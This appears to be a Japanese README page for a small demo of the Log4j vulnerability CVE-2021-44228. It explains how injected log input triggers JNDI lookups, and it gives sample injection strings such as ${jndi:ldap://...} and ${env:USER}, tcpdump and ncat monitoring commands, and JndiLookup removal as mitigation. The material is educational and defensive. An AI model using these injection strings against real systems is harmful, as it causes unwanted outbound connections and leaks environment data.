
chandanshastri/log4j_vulnerability_demoLog4j_Vulnerability_Demo
Log4j の脆弱性(CVE-2021-44228)がどのように悪用されるかを示すシンプルなプログラム
34年前
コミュニティで最も使われているツールを見つけましょう。
Log4j_Vulnerability_Demo
Log4j の脆弱性(CVE-2021-44228)がどのように悪用されるかを示すシンプルなプログラムです。
デモの実行方法 :
プログラムを起動するには、UNIX システムでは start.sh を、Windows では start.bat を実行するだけです。
ユーザー入力は読み取られ、Log4j フレームワークを使用してコンソールにログ出力されます。
デフォルトでは、Log4j ライブラリによって生成されるログメッセージは、JNDI 置換に対してサーバー到達不能 / ホスト未検出のエラーを一切表示しません。(そして、これこそがこの脆弱性がステルス性を持って悪用され得る大きな理由の一つだと思います)
また、${jndi:ldap://test29.google.com/blah} のようなサブドメインの使用も試してみてください。JNDI 呼び出しがリモートサーバーからの応答を待つことがあり、そのためプログラムがバックグラウンドで実際に接続試行を行っているにもかかわらず、動作が停止しているように見えることがあります。存在しないサブドメインを使用した場合、JNDI 呼び出しは接続試行後にすぐに終了し、プログラムは継続します。
プログラムを一方のシェルで実行し、もう一方のシェルで「 tcpdump -i any | grep google 」コマンドを並行して実行し、その後プログラムに入力を与えて、プログラムが接続試行を行ったかどうかを確認することをお勧めします。
動作中の Log4j 置換 :

リモート接続の試行:


サンプル入力例 :
単なるログメッセージ以上のものになり得る例 :
${env:USER} ( UNIX )
${env:USERNAME} ( Windows )
${jndi:ldap://test.java.net}
${jndi:ldap://localhost:12000}
モニタリング :
tcpdump -i any | grep -i "java.net"
ncat -k -vv -c "echo hi" -l 12000
脆弱性を緩和するための JndiLookup クラスの削除 :
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
これにより、Log4j コア Jar から JndiLookup.class が削除されます。
上記の手順の後に同じプログラムを実行すると、プログラムは接続試行 / JNDI 置換を行わないはずです。
JNDI ルックアップを無効にするもう一つの方法
この環境変数は、現在のセッションの JNDI ルックアップを無効にします。